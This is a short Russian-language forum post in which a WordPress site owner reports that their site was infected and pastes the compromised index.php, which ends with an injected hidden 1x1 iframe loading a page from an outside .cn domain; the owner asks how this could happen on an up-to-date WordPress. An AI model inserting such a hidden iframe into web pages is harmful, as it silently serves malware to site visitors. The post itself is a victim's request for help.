Мир Вам.
Зашел сегодня на свой сайт и антивирусник выдал, что сайт завирусован.
Стал копаться в коде, нашел iframe в файлах index.php главной сайта и админки.
Содержимое файла главной страницы:
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><html><body><iframe src="http://thefilmmusic.cn/in" width=1 height=1 style="visibility: hidden"></iframe></body></html>>Т.е. дефейснули сайт, вставили фрэйм с вирусом.
В итоге задался вопросом, как такое может быть? Даже с последней версией вордпрес?
Спасибо и всех Вам Благ.
